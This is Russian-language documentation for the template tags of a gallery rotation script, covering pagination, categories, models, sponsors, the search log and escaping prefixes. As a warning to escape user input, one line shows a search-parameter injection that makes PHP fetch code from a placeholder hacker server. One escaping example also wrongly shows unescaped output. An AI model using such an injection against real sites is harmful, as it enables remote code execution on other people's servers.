 +  
 +  
 +  
 +===== Comments =====
 +
 +На странице галереи можно вывести комменты к ней
 +
 +<code>
 +<!--TOTAL_COMMENTS-->
 +
 +<comments num=1-10>
 +<!--DATE--> <!--USERNAME--> : <!--COMMENT-->
 +</comments>
 +
 +
 +И пагинация комментов 
 +
 +<comments type=pagination num=1-10>
 +<!--PAGE_NUM--> ... 
 +</comments>
 +
 +</code>
 +====== Page tags ======
 +
 +Для каждой страницы есть ряд собственных тагов.
 +
 +
 +**Актуальные для всех**
 +
 +<code>
 +<!--LOCAL_DOMAIN--> 
 +
 +</code>
 +
 +
 +
 +**Для страницы категории**
 +
 +<code>
 +<!--CATEGORY_NAME--> = <!--GROUP_NAME--> 
 +<!--CATEGORY_CUSTOM_NAME-->
 +<!--CATEGORY_ID--> = <!--GROUP_ID--> 
 +<!--CATEGORY_DESCRIPTION-->
 +<!--CATEGORY_KEYWORDS-->
 +<!--TOTAL_ITEMS--> общее кол-во галер в категории
 +
 +<!--CATEGORY_CUSTOM_VAR1-->
 +<!--CATEGORY_CUSTOM_VAR2-->
 +<!--CATEGORY_CUSTOM_VAR3-->
 +
 +</code>
 +
 +
 +**Для страницы модели**
 +
 +<code>
 +<!--MODEL_ID-->
 +<!--MODEL_NAME-->
 +<!--MODEL_SLUG-->
 +<!--MODEL_DESCRIPTION-->
 +<!--MODEL_CUSTOM_VAR1-->
 +<!--MODEL_CUSTOM_VAR2-->
 +<!--MODEL_CUSTOM_VAR3-->
 +
 +</code>
 +
 +**Для поиска** 
 +
 +<code>
 +<!--SEARCH_QUERY-->
 +<!--SEARCH_TYPE-->
 +</code>
 +
 +**Страница спонсора**
 +
 +<code>
 +  <!--SPONSOR_NAME-->
 +  <!--SPONSOR_SITE-->
 +  <!--SPONSOR_SITE_URL-->
 +  <!--SPONSOR_TRIAL_URL-->
 +  <!--SPONSOR_JOIN_URL-->
 +  <!--SPONSOR_TITLE-->
 +  <!--SPONSOR_DESCRIPTION-->
 +  <!--SPONSOR_PAYMENT_OPTIONS-->
 +  <!--SPONSOR_SEO_NAME-->
 +  <!--SPONSOR_LOGO-->  
 +  
 +  <!--SPONSOR_BANNER1-->
 +  <!--SPONSOR_BANNER2-->
 +</code>
 +
 +
 +**Для кастом галерей** 
 +
 +Базово для каждой кастом гали доступны все теже таги, что и в сабе. Те если у нас есть тумба 1 с деском "super pic" который в сабе выводится тагом <!--DESCRIPTION-->, то и на кастом галере этот же таг выведет тоже самое.
 +
 +Это же относится и к тагам по спонсору, те если галя спонсора 1, то все таги спонсорские, например <!--SPONSOR_NAME-->, выведут данные по этому спонсору.
 +
 +Но есть несколько тагов, которые актуальны именно для страниц кастом галер.
 +
 +**Для эмбед галер та же актуально**
 +
 +<code>
 +<!--EMBED_CODE-->
 +</code>
 +
 +
 +**Для flv галер актуально**
 +
 +<code>
 +<!--FLV_WIDTH-->
 +<!--FLV_HEIGHT-->
 +<!--FLV_THUMB_URL-->
 +<!--FLV_URL-->
 +</code>
 +
 +
 +**Для picture\movie galleries**
 +
 +
 +
 +<code>
 +
 +  <gallery_content num=1-10>
 +  <!--ITEM_NUM-->  <!--IMAGE--> <!--THUMB-->  <!--THUMB_X-->  <!--THUMB_Y--> <!--IMAGE_X--> <!--IMAGE_Y--><br>
 +  </gallery_content>
 +
 +Можно лимитировать по типу контента
 +
 +  <gallery_content num=1-10 content_limit=image> movie, flash (хотя сейчас флеш уже не актуально для для старых сайтов может быть)
 +
 +
 +
 +  <!--SPONSOR_NAME-->
 +  <!--SPONSOR_SITE-->
 +  <!--SPONSOR_SITE_URL-->
 +  <!--SPONSOR_TRIAL_URL-->
 +  <!--SPONSOR_JOIN_URL-->
 +  <!--SPONSOR_TITLE-->
 +  <!--SPONSOR_DESCRIPTION-->
 +  <!--SPONSOR_PAYMENT_OPTIONS-->
 +  <!--SPONSOR_SEO_NAME-->
 +  <!--SPONSOR_LOGO-->  
 +  
 +  <!--SPONSOR_BANNER1-->
 +  <!--SPONSOR_BANNER2-->
 +
 +  <!--CUSTOM_VAR1-->
 +  <!--CUSTOM_VAR2-->
 +  <!--CUSTOM_VAR3-->
 +
 +
 +</code>
 +
 +Поддерживается старый вариант вывода контента, но лучше пользоваться указаным выже
 +
 +<code>
 +
 +  <!--IMG_1_IMAGE--> урл первой большой картинки
 +  <!--IMG_1_THUMB--> урл первой тумбы
 +  <!--IMG_1_THUMB_X--> соотв размеры
 +  <!--IMG_1_THUMB_Y-->
 +  
 +  IMG_2_ IMG_3... и тд 
 +  
 +  Обратите внимание, что начиная с версии 49 идет разделение контента кастом галер, те вы можете сделать кастом галю с миксованным контентом, например пикчи и мувики
 +  Для первой пикчи будет <!--IMAGE_1_THUMB--> <!--IMAGE_1_IMAGE-->  <!--IMAGE_1_THUMB_X--> <!--IMAGE_1_THUMB_Y-->
 +  Для первого мувика будет <!--MOVIE_1_THUMB--> <!--MOVIE_1_IMAGE-->  <!--MOVIE_1_THUMB_X--> <!--MOVIE_1_THUMB_Y-->
 +  Для первого флеш мувика будет <!--FLASH_1_THUMB--> <!--FLASH_1_PREVIEW_THUMB--> <!--FLASH_1_IMAGE-->  <!--FLASH_1_THUMB_X--> <!--FLASH_1_THUMB_Y-->
 +  
 +  а так же <!--GALLERY_TEXT--> - это весь текст с галеры с которой делался кастом галя. Вы можете редактировать этот текст в Edit любой галереи.
 +  
 +  И общие переменные для кастом гали 
 +  
 +  <!--GALLERY_TOTAL_SHOWS-->
 +  <!--GALLERY_TOTAL_ITEMS-->
 +  <!--GALLERY_TOTAL_IMAGES-->
 +  <!--GALLERY_TOTAL_MOVIES-->
 +  <!--GALLERY_TOTAL_FLASH-->
 +    
 +
 +  
 +а так же пример проверки наличия картинки
 +
 +<? if ('<!--IMG_6_IMAGE-->') { ?>
 +<a href='<!--IMG_6_IMAGE-->'><img src='<!--IMG_6_THUMB-->'></a>
 +<? } ?>
 +
 +
 +Для комментов 
 +
 +<!--TOTAL_COMMENTS-->
 +
 +<comments num=1-10>
 +<!--DATE--> <!--USERNAME--> : <!--COMMENT-->
 +</comments>
 +
 +
 +Для single_page_item
 +
 +<!--ITEM_THUMB-->
 +<!--ITEM_IMAGE--> 
 +
 +
 +</code>
 +  
 +
 +====== Tag prefix ======
 +
 +Для стандартных модификаций переменных существуют префиксы. Например, вы хотите сделать
 +
 +<code>
 +  <?php ucfirst('<!--DESCRIPTION-->'); ?>
 +</code>
 +
 +Если в опиании окажется ковычка то такой код в вашем темплейте выдаст ошибку. Например описание "tom's dinner", получается 
 +  
 +  <?php ucfirst('Tom's dinner'); ?>
 +  
 +как не сложно заметить тут возникает проблема с ковычками. Что бы этого избежать надо использовать префиксы например
 +
 +  <?php ucfirst('<!--ESCAPED_DESCRIPTION-->'); ?>
 +
 +Те выглядит это как замена тага обычного на таг с префиксом 
 +
 +Например, так <!--ALT--> становится <!--ESCAPED_ALT--> и так со всеми тагам.  В нашем примере таг будет заменен на "tom\'s dinner", код получится 
 +  
 +  <?php ucfirst('Tom's dinner'); ?>
 +  
 +который будет выполнен без ошибок.
 +  
 +
 +На данный момент существуют следующие префиксы:
 +
 +**1. Экранирование ковычек**
 +
 +  Например, так <!--ALT--> становится <!--ESCAPED_ALT--> и так со всеми тагам.
 +
 +**2. HTMLENTITY для  замены html спецсимволов например & на &amp;** 
 +
 +<code>
 +'&' (ampersand) becomes '&amp;' 
 +'"' (double quote) becomes '&quot;' when ENT_NOQUOTES is not set. 
 +''' (single quote) becomes '&#039;' only when ENT_QUOTES is set. 
 +'<' (less than) becomes '&lt;' 
 +'>' (greater than) becomes '&gt;' 
 +
 +
 +  Например, так <!--ALT--> становится <!--HTMLENTITY_ALT--> и так со всеми тагам. 
 +</code>
 +
 +**3. URLENCODE для спецсимволов в урлах, например пробел на + и тп ** 
 +
 +<code>
 +  Например, так <!--TAG_1--> становится <!--URLENCODE_TAG_1--> и так со всеми тагам. 
 +</code>
 +
 +Фактически http://www.php.net/manual/en/function.urlencode.php
 +
 +**4. RAWURLENCODE для спецсимволов в урлах, например пробел на %20 и тп ** 
 +
 +<code>
 +  Например, так <!--TAG_1--> становится <!--RAWURLENCODE_TAG_1--> и так со всеми тагам. 
 +</code>
 +
 +Фактчиески http://www.php.net/manual/en/function.rawurlencode.php
 +
 +А так же <!--GET.. который представляет собой все переданные переменные те если передается переменная ?search=...  например то она будет в <!--GET_SEARCH-->, комбинируя ее с <!--ESCAPED_  можно получить удобный вариант вывода переданных переменных 
 +
 +  <!--ESCAPED_GET_SEARCH-->
 +
 +
 +**5. STRIP_SPECIAL_CHARS_ для удаления всех спецсимволов !$@ и тп  ** 
 +
 +В данный момент replace выглядит как trim(preg_replace('|[\\\,\|\,<\.>\/\?;:\'\"\[\{\]\}\`~@#\$%\^&\*\(\)\-_=\+]*|i', "", $var))
 +
 +
 +  Например <!--STRIP_SPECIAL_CHARS_DESCRIPTION_30-->
 +  
 +**6. URLSAFE_ ** 
 +
 +заменяет пробелы и прочее на тире для красоты урла
 +
 +** More ** 
 +
 +UPPERCASE_ - все большими буквами
 +
 +UCFIRST_ первая буква каждого слова - большая
 +
 +CUT20_ - обрезать оставив только первые 20 символов
 +
 +WORDCUT20_ - обрезать оставив только первые 20 символов с учетом окончания слов, те не обрезать слово на половине
 +====== Tag prefix - why important ======
 +
 +Как вы вероятно знаете, в темплейтах можно использовать пхп код. Рассмотреть все нюансы языка в одном примере конечно не получится, да и видимо не надо, однако хотелось бы показать небольшой пример. Например, нам надо вывести деск, таг <!--DESCRIPTION--> и мы решили сделать его весь большими буквами, на пхп это очень просто: 
 +
 +  меняем <!--DESCRIPTION--> на <?php echo strtoupper('<!--DESCRIPTION-->')?> 
 +  
 +Однако тут есть нюанс: если в деске окажется кавычка, то получится что-то вроде <?php echo strtoupper('masha's super pic')?> те незакрытая кавычка и получится ошибка пхп. По этой причине такой вариант "в лоб" можно использовать только если вы уверены, что во фразе не будет кавычки (например урл ?). В остальных случаях надо пользоваться тн префиксы  [[new_rotation_templates#tag_prefix]]
 +
 +<code>    
 +Пример, с <!--DESCRIPTION--> будет выглядеть как:
 +
 +<?php echo strtoupper('<!--ESCAPED_DESCRIPTION-->')?> 
 +
 +</code>  
 +
 +
 +**Пример с SEARCH_QUERY**
 +
 +Юзер ищет /?search=boy's girl
 +
 +
 +У вас например 
 +
 +  Search was <?=ucfirst('<!--SEARCH_QUERY-->')?>
 +  
 +получается код 
 +
 +  Search was <?=ucfirst('boy's girl')?>  
 +  
 +который падает с ошибкой  
 +
 +
 +еще хуже если в урл предается  код для взлома, например 
 +
 +  /?search=' . file_get_contents("http://hacker_server/some_code.php")
 +
 +
 +и он выполняется у вас в темплейте.
 +
 +Поэтому очень важно весь пользовательский ввод эскейпить 
 +
 +
 +  Search was <?=ucfirst('<!--ESCAPED_SEARCH_QUERY-->')?>
 +  
 +  
 + 
 +
 +
 +====== Pagination ======
 +
 +Поскольку тумб много обычно, нам нужна навигация по страницам. Пример:
 +
 +  <pagination first_pages=3 adjustment=1 last_pages=3 range_separator=" ... ">
 +  <li><a href="/category/<!--CATEGORY_ID-->/<!--CATEGORY_NAME-->/<!--SORT_ORDER-->/<!--PAGE_NUM-->/" title="<!--PAGE_NUM-->"><!--PAGE_NUM--></a></li>
 +  </pagination>
 +
 +  * skip_href_deletion=true по дефолту скрипт удаляет a href с текущей страницы, с этой опцией - не будет удалять.
 +  * active_link_style=act_pg и link_style=not_act_page проставляет соответствующие стили для активной и неактивной страницы
 +  * max_pages ограничить макс кол-во страниц. Полезно если у вас очень большая база, реальные люди все равно в самый конец не ходят.
 +
 +
 +<code>
 +Например , наш код навигации такой:
 +
 +<pagination skip_href_deletion=true active_link_style=act_page link_style=not_act_page>
 +<li><a href="/?page=<!--PAGE_NUM-->" title="<!--PAGE_NUM-->" style='<!--LINK_STYLE-->' ><!--PAGE_NUM--></a></li>
 +</pagination>
 +
 +условно мы сейчас на 2й странице, а всего старниц 3.
 +
 +скрипт выведет:
 +
 +<li><a href="/?page=1" title="1" style='not_act_page' >1</a></li>
 +<li><a href="/?page=2" title="2" style='act_page' >2</a></li>
 +<li><a href="/?page=3" title="3" style='not_act_page' >3</a></li>
 +
 +
 +
 +без skip_href_deletion=true  это выглядело бы так
 +
 +<li><a href="/?page=1" title="1" style='not_act_page' >1</a></li>
 +<li>2</li>
 +<li><a href="/?page=3" title="3" style='not_act_page' >3</a></li>
 +
 +
 +</code>
 +
 +
 +еще примеры:
 +
 +1. явное задание атрибута style html-тэгам
 +
 +условно мы сейчас на 2й странице, а всего старниц 3, тогда:
 +
 +<code>
 +<pagination skip_href_deletion=true active_link_style="color: red;" link_style="color: blue;">
 +  <li><a href="/?page=<!--PAGE_NUM-->" title="<!--PAGE_NUM-->" style='<!--LINK_STYLE-->' ><!--PAGE_NUM--></a></li>
 +</pagination>
 +</code>
 +
 +скрипт выведет:
 +
 +<code>
 +<li><a href="/?page=1" title="1" style=""color: blue;" >1</a></li>
 +<li><a href="/?page=2" title="2" style="color: red;">2</a></li>
 +<li><a href="/?page=3" title="3" style="color: blue;">3</a></li>
 +</code>
 +
 +2. установка значений data-атрибутов в зависимости от текущей страницы:
 +
 +<code>
 +<pagination active_link_style="current" link_style="regular" skip_href_deletion=true>
 +  <li data-page-ptr="<!--LINK_STYLE-->"><a href="/?page=<!--PAGE_NUM-->"><!--PAGE_NUM--></a></li>
 +</pagination>
 +</code>
 +
 +для запроса ?page=**2** сформирует html-разметку вида:
 +
 +<code>
 +<li data-page-ptr="regular"><a href="/?page=1">1</a></li>
 +<li data-page-ptr="current"><a href="/?page=2">2</a></li>
 +<li data-page-ptr="regular"><a href="/?page=3">3</a></li>
 +</code>
 +
 +3. задание отдельного css-класса для текущей страницы:
 +
 +<code>
 +
 + <pagination active_link_style="pager__page--active" skip_href_deletion=false>
 +   <li class="pager__page <!--LINK_STYLE-->"><a href="/?page=<!--PAGE_NUM-->"><!--PAGE_NUM--></a></li>
 + </pagination>
 +
 +</code>
 +
 +для запроса ?page=**3** сформирует html-разметку вида:
 +<code>
 +
 + <li class="pager__page"><a href="/?page=1">1</a></li>
 + <li class="pager__page"><a href="/?page=2">2</a></li>
 + <li class="pager__page pager__page--active">3</li>
 +</code>
 +
 +4. задание отдельного css-класса для текущей страницы с заменой тэга:
 +
 +<code>
 +
 + <pagination active_link_style="pager__page--active" skip_href_deletion=false>
 +   <li class="pager__page <!--LINK_STYLE-->">
 +   <?php if ('<!--LINK_STYLE-->' === 'pager__page--active'): ?><span><!--PAGE_NUM--></span>
 +   <?php else : ?><a href="/?page=<!--PAGE_NUM-->"><!--PAGE_NUM--></a><?php endif; ?>
 +   </li>
 + </pagination>
 +
 +</code>
 +
 +для запроса ?page=**2** сформирует html-разметку вида:
 +<code>
 +
 + <li class="pager__page"><a href="/?page=1">1</a></li>
 + <li class="pager__page pager__page--active"><span>2</span></li>
 + <li class="pager__page"><a href="/?page=3">3</a></li>
 +
 +</code>
 +
 +
 +**List all the pages**
 +
 +Если надо вывести все страницы пагинации
 +
 +  <pagination show_all_pages=true
 +  
 +те мы выведем не 1 2 3 ... 70 71, а именно весь лист 1 2 3 4 5 6 7 и тд до конца   
 +  
 +
 +
 +
 +**Так же есть вариант с Prev Next**
 +если вы не истользуете <pagination а только prev\next вы снижаете нагрузку на сервак, тк базе не надо считать сколько всего галер в текущей выборке
 +
 +
 +<code>
 +
 +<pagination link_type="prev_page">  ... <!--PREV_PAGE-->  ... </pagination>
 +
 +<pagination link_type="next_page">  ... <!--NEXT_PAGE-->  ... </pagination>
 +
 +</code>
 +
 +
 +Обратите внимание, что пагинация показывает страницы для тумб ротации. 
 +
 +Для тумб категорий, поскольку их обычно фиксированное кол-во, нет смысла пересчитывать каждый раз при создании страниц. Поэтому если вам надо пагинация для тумб категорий то можно лучше всего сделать так
 +
 +<code>
 +
 +<category num=1-20 adjust_num_to_page=true> тут надо обратить внимание на, это выведет категории с учетом текущей страницы, потому что по умолчанию на любой странице вы хотите видеть все же топ категории.
 +
 +</code>
 +
 +добавляем линки 
 +
 +<a href="http://domain/?page=1>
 +<a href="http://domain/?page=2>
 +
 +и тп
 +
 +думаю не сложно вычислить сколько вам надо линков в зависимости от кол-ва категорий у вас.
 +И получается навигация для категорий.
 +====== Category Thumbs ======
 +
 +Cкрипт автоматически создает тумбы категорий, которые по умолчанию равны лучшим тумбам из каждой категории. Может быть 2 набора тумб категорий. Настраивается в Rotation - Tube - Settings.
 +
 +Для вывода списка категорий
 +
 +  <category order=alphabet num=1-5>
 +  <li><a href="/category/<!--CATEGORY_ID-->/<!--CATEGORY_NAME-->/ctr/1/"><!--CATEGORY_NAME--></a> (<!--TOTAL_ITEMS-->) (<!--THUMB_URL-->) </li>
 +  </category>
 +
 +Параметры:
 +  * num какие номера выводить (в данном примере с 1й по 5ю из списка).
 +  * min_gallery_count лимит по кол-ву галер в категории 
 +  * set - выбор сета тумб категорий, по дефолту 1 но можно сделать set=2 например <category order=alphabet num=1-5 set=2>
 +  * first_letter=... вывод категорий начинающихся с такой-то буквы, # - начинается с цифры
 +  * custom_name_first_letter = ... вывод категорий у которых кастом имя начинается с такой-то буквы
 +  * category_custom_var1 category_custom_var2 category_custom_var3 - по кастом полям
 +  * filter_field= и сразу filter_value - унифицированно для указанного выше например filter_field=custom_name filter_value=GET_somevar где GET_somevar - это somevar взятая из урла
 +  * sort_field = сортировка по определенному полю (category_name, category_custom_name, category_custom_var1 (2, 3) )
 +  * sort_order - относительно sort_field (asc, desc)
 +  * order - сортировка списка категорий по алфавиту (alphabet), по популярности (clicks), кол-ву галер (total_items) , случайно (random)
 +Технически можно сортировать по любому полю из массива кажой категории, но вот список тех сортировок которые возможно пригодятся кроме 2х наиболее используемых 
 +category_custom_name, category_description, category_id, category_custom_var1, category_custom_var2, category_custom_var3
 +  * parent_id = ID родительской группы
 +  * name="cat1,cat2" имя категории
 +  * category_id= ИД категории
 +
 +Доп таги для списка категорий:
 +
 +  * <!--CATEGORY_TOP_THUMBS_LIST--> <!--CATEGORY_TOP_THUMBS_LIST5--> - топ тумб категории, через запятую, эти данные можно обрабатывать в темплейте как вам надо.
 +
 +
 +===== Category Pagination =====
 +
 +По умолчанию если мы выводим категории, то на всех страницах надо вывести просто список категорий без сдвига, те если у вас в хедере страницы например 
 +
 +  <category num=1-20 
 +  
 +  
 +то надо вывести 20 первых категорий, ладе если в урле есть ?page=100500 , однако в некоторых случаях, когда категория много, надо вывести категории с учетом ?page=
 +
 +Для этого сам таг категорий выводится как 
 +
 +  <category num=1-20 adjust_num_to_page=true>  (тут надо обратить на добавление adjust_num_to_page)
 +  <!--CATEGORY_NAME-->
 +  </category>
 +
 +И к этому можно добавить пагинацию именно для тумб категорий
 +
 +  <category type=pagination num=1-20 adjust_num_to_page=true> (тут надо обратить внимание на type=pagination )
 +  <!--PAGE_NUM--> ...
 +  </category>
 +  
 +  
 +Предыдущая и следующая страницы
 +  
 +<code>
 +
 +<category link_type="prev_page" num=1-3>
 +prev = <!--PREV_PAGE-->
 +</category>
 +
 +
 +<category link_type="next_page" num=1-3>
 +Next = <!--NEXT_PAGE-->
 +</category>
 +
 +</code>
 +
 +
 +
 +Тут везде надо обратить внимание что таги практически одинаковые, те если у вас всего 100 категорий то 
 +
 +<code>
 +
 +<category link_type="next_page" num=1-20>
 +Next = <!--NEXT_PAGE-->
 +</category>
 +
 +</code>
 +
 +
 +
 +выведет next на 4й старнице, а если сделать 
 +
 +  <category link_type="next_page" num=1-50>
 +  Next = <!--NEXT_PAGE-->
 +  </category>
 +
 +то на 4й странице не будет next. 
 +====== adjust_num_to_page ======
 +
 +По умолчанию тумбы категорий и моделей выводятся без учета &page= в урле , например у вас темплейт index
 +
 +<code>
 +
 +<category num=1-10 ....
 +
 +<thumb num=1-10  ...
 +
 +</code>
 +
 +то на первой странице выведет первые 10 категорий и первые 10 тумб.  На второй странице будет опять же первые 10 категорий, а вот тумбы будут уже 11 - 20. Сделано так было в свое время тк в большинстве случаев список категорий "двигать" по страницам не надо, иначе например на 5й старнице списка категорий уже не было бы.
 +
 +Но бывают варианты, когда вам надо все же "двигать" список категорий по страницам. В этом случае пригодится параметр adjust_num_to_page=true, например 
 +
 +
 +  <category num=1-10 adjust_num_to_page=true>
 + 
 +  
 +в этом случае на 2й странице выведет категории 11-20
 +
 +
 +
 +====== Language list ======
 +
 +Перечислить доступные переводы можно тагом
 +
 +<code>
 +
 +<lng_list num=1-100>
 +    <!--TRANSLATION_LNG--> .. <!--LNG_CODE--> ...  <!--LNG_NAME--> <br>
 +</lng_list>
 +
 +
 +</code>
 +====== Include template ======
 +
 +
 +Можно подключать любой темплейт, например вынести хедер сайта в шаблон header и, дабы не дублировать начало каждой страницы, подключать его в нужном темплейте 
 +
 +  <!--INCLUDE_TEMPLATE_header-->
 +  
 +Аналогично, можно подключать любой другой темплейт.  
 +
 +
 +====== INCLUDE_FILE ======
 +
 +Часто в темплейтах есть иинклуды внешних файлов, например кусок кода с обменом линками, который при этом часто бывает даже на другом домене\серваке.
 +
 +Это можно делать через 
 +
 +  <!--INCLUDE_FILE_/home/user/domain.com/file.txt-->
 +
 +это практически аналог 
 +
 +  <? include('/home/user/domain.com/file.txt'); ?>
 +  
 +Разница в том, что в первом варианте файл инклудится 1 раз и кладется в кеш. Во 2м варианте файл инклудится каждый раз при загрузке страницы. В принципе, для локальных файлов можно сказать, что разницы нет.
 +
 +
 +Если файл на удаленном серваке то надо делать так:
 +
 +  <!--INCLUDE_FILE_http://domain.com/file.txt-->
 +  
 +
 +**НЕЛЬЗЯ** делать так 
 +  
 +    <? include('http://domain.com/file.txt'); ?>
 +
 +
 +
 +Для удобства переноса темплейтов между доменами можно пользоваться вариантом 
 +
 +  <!--INCLUDE_FILE_{BASE_DIR}/file.html-->
 +  
 +  
 +где BASE_DIR берется из common.php и соответственно свой для каждого домена.  
 +====== Tag Cloud ======
 +
 +<code>
 +<tag_cloud order=alphabet>
 +      <a href="/tag/<!--TAG_NAME-->/"><font size='<!--TAG_RANK-->'><!--TAG_NAME-->  <!--TAG_HITS--></font></a>  
 +</tag_cloud>
 +
 +
 +Так же можно лимитировать кол-во тагов 
 +
 +<tag_cloud order=alphabet num=1-10>
 +      <a href="/tag/<!--TAG_NAME-->/"><font size='<!--TAG_RANK-->'><!--TAG_NAME-->  <!--TAG_HITS--></font></a>  
 +</tag_cloud>
 +
 +и сортировать по кол-ву галер в таге
 +
 +<tag_cloud order=tag_hits num=1-10>
 +      <a href="/tag/<!--TAG_NAME-->/"><font size='<!--TAG_RANK-->'><!--TAG_NAME-->  <!--TAG_HITS--></font></a>  
 +</tag_cloud>
 +
 +
 +</code>
 +
 +Другие параметры тага <tag_cloud
 +<code>
 +
 +gallery_count_min - минимальное кол-во галер для вывода
 +first_letter - таг начинается с этой буквы
 +filter - таг содержит это слово
 +status=all по умолчанию <tag_cloud выводит только активные таги, если надо выводить все то можно добавить status=all
 +
 +</code>
 +
 +
 +
 +
 +
 +Вывод лучшей тумбы по данному тагу
 +
 +<code>
 +
 +<tag_cloud order=tag_hits (или clicks) num=1-10>
 +
 +<!--TAG_NAME--> и далее можно добавить любые таги, характерные для тумб, например <!--THUMB_URL--> что выведет лучшую тумбу по данному тагу
 +
 +</tag_cloud>
 +
 +
 +</code>
 +
 +По дефолту выбор лучшей тумбы для каждого тага выключен тк это в определенной мере нагружает сервак. Настройки находятся в Rotation - Tube - Settings.
 +
 +
 +
 +====== Model List ======
 +
 +Можно вывести всех доступных моделей
 +
 +<code>
 +
 +<models num=1-10>
 +<!--MODEL_NAME--> 
 +</models>
 +
 +доступные параметры для тага моделей
 +
 +<models first_letter=a> модели на "а" только
 +<models min_gallery_count=20> минимум 20 галер
 +<models order=count_galleries> сортировка по кол-ву галер
 +<models order=model_ctr> сортировка по среднему CTR всех галер модели
 +<models order=ctr >- цтр тумб
 +<models order=random >
 +<models model_has_photos=true > вывод только тех моделей у которых есть фото (загруженное мануально)
 +<models model_has_thumb=true > вывод только тех моделей у которых есть 
 +выбранная автоматически тумба модели (выбирается в Rotation Settings - model thumbs)
 +<models model_custom_var1="asd" > фильтр по кастом вар1 (model_custom_var1="asd" )
 +<models model_custom_var1=not_empty > вывод тех у кого в кастомвар не пустая
 +
 +<models model_name="..."
 +<models model_id="..."
 +
 +skip_model_id - пропустить ид, через запятую перечисление если надо пропустить несколько ид
 +
 +</code>
 +
 +Так же как и для тагов для каждой модели скрипт может автоматически выбрать лучшую тумбу (включается в Rotation - Settings - System Thumbs) , а вы ее можете вывести потом в цикле
 +
 +<code>
 +<models num=1-10>
 +<!--MODEL_NAME--> <!--THUMB_URL--> что выведет лучшую тумбу модели.
 +</models>
 +
 +</code>
 +
 +
 +Пример реврайта для моделей
 +
 +<code>
 +RewriteCond %{QUERY_STRING} ^(.+)$ 
 +RewriteRule ^model/(.*)/$ /scj/cgi/out.php?link=images/%{QUERY_STRING}&url=content&p=100&skip_to_cookie=true&skip_sell=true&model_slug=$1&force_template=model_galleries [L]
 +RewriteRule ^model/(.*)/$ /scj/tube/?model_slug=$1&force_template=model_galleries [L]
 +</code>
 +
 +
 +Выводим тумбы моделей (gallery_count_min=1 добавлено дабы выводить только тех моделей для которых могло создать тумбу модели, а для этого надо как минимум одна галера для модели)
 +
 +<code>
 +
 +<models num=1-10 gallery_count_min=1 order=ctr>
 +<a href='/model/<!--MODEL_SLUG-->/?<!--THUMB_LINK-->'> <!--THUMB_URL--> <!--MODEL_NAME--> </a> <br>
 +</models>
 +
 +</code>
 +
 +
 +У моделей могут быть свои фото, это именно фото модели а не тумбы галер, где есть это модель, загружаются фото в админке или при импорте галер. Вывод фото 
 +
 +
 +<code>
 +
 +<models  num=1-10>
 +
 +    <!--MODEL_NAME-->
 +    <model_photos num=1-10>  <!--THUMB_URL-->        </model_photos>
 +    <br>
 +    
 +</models>
 +
 +
 +</code>
 +
 +
 +Можно добавить пагинацию для моделей
 +
 +<code>
 +<models num=1-12 type=pagination>
 +<!--PAGE_NUM--> (<!--TOTAL_ITEMS--> <!--TOTAL_PAGES-->) <br>
 +</models>
 +</code>
 +====== Sponsors List ======
 +
 +Можно так же вывести список спонсоров.
 +
 +<code>
 +
 +<sponsors num=1-10>
 +<!--SPONSOR_NAME--> 
 +</sponsors>
 +
 +Параметры
 +
 +order= alphabet, ctr, sponsor_name, count_galleries
 +
 +</code>
 +
 +
 +===== Sponsor URLS =====
 +
 +В rotation - sponsors каждому спонсору можно добавить несоклько урлов: site_url, trial_url и join_url.
 +
 +На самой галерее можно соответствующими тагами вывести эти урлы, НО тогда серфер будет видеть урл на спонсора вместе с вашей реф линкой, кроме того этот урл не всегда красивый. По дефолту есть реврайт вида http://domain/go/<!--SPONSOR_SLUG-->/ который пошлет на урл, прописанный в site_url. 
 +
 +Можно доабвить в реврайты
 +
 +<code>
 +RewriteRule ^go/(.*)/(.*)/$ /scj/tube/?action=sponsor&sponsor_slug=$1&field=$2 [L]
 +
 +и использовать урлы
 +http://domain/go/<!--SPONSOR_SLUG-->/trial_url/
 +http://domain/go/<!--SPONSOR_SLUG-->/join_url/
 +
 +что бы посылать на другие урлы спонсора.
 +</code>
 +
 +====== Search log ======
 +
 +Если у вас на сайте есть форма поиска (domain/?search=...) то все поисковые запросы логгируются, позже можно вывести лог этих запросов.
 +
 +Но можно так же вывести лог этих запросов на любой странице, например
 +
 +  <search_log num=1-10> <!--SEARCH_QUERY--> </search_log>
 +
 +
 +Обратите внимание, что при логгировании поисковых запросов так же учитывается поле из сеттингов Banned words и если кто-то ищет слово из списка - оно не будет логгировано.
 +
 +<code>
 +
 +<search_log num=1-10 > ........ </search_log>
 +
 +order=hits - может так же быть alphabet, date, если не указано сортируем по кол-ву хитов.
 +
 +sort=ASC  (DESC) в дополнение к тагам выше для сортировки в другом порядке
 +
 +date_limit=today - может быть так же yesterday, this_week, this_month
 +
 +date_start=дата date_end=дата 
 +
 +min_results=  где по результатам поисков было более чем Х результатов
 +
 +min_hits= это искали минимум Х раз
 +
 +search= фильтр поисковых запросов по этому слову
 +
 +</code>
 +
 +есть "синтаксический сахар"
 +
 +  search= CURRENT_CATEGORY_NAME или CURRENT_TAG_NAME
 +
 +что тоже самое что и search=GET_category_name и search=GET_tag_name (те берем слова для поиска из урла)
 +
 +  exclude_search_query= исключить из результатов
 +  
 +99% будет exclude_search_query=GET_search - те исключение текущего запроса
 +
 +
 +
 +При поиске на сайте мы логгируем сам запрос, например, "машина" и ИД галеры, которая первая по этому запросу, таким образом можно вывести не только сами запросы, но сразу и тумбы топ галер по этим запросам. Например,
 +
 +<code>
 +<search_log num=1-10> 
 +
 +<!--SEARCH_QUERY-->  
 +
 +Best gallery: <!--THUMB_URL--> <!--GALLERY_ID--> 
 +и тп данные галеры, которая была первой по этому запросу
 +</search_log>
 +</code>
 +
 +
 +Можно указать не сохранять в лог поисковые запросы
 +
 +<code>
 +<search_log num=1-10 skip_search_log=true> 
 +
 +<!--SEARCH_QUERY-->  
 +по этому запросу
 +</search_log>
 +</code>
 +
 +
 +
 +====== Syntactic Sugar ======
 +
 +Для удобства в макросах можно пользоваться "синтаксическим сахаром", например 
 +
 +  <search_log num=1-10 search=CURRENT_TAG_NAME > ........ </search_log>
 +
 +такой синтаксический сахар действует во всех тагах
 +
 +на данный момент добавлено 
 +
 +  CURRENT_CATEGORY_NAME
 +  CURRENT_TAG_NAME
 +
 +
 +Планируется добавить все данные, если надо что-то больше - пишите на форуме и будет добавлено.
 +
 +===== Search log pagination=====
 +
 +Решается добавлением type=pagination в таг
 +
 +<code>
 +<search_log type=pagination num=1-20>
 + <!--PAGE_NUM--> 
 +</search_log>
 +</code>
 +
 +
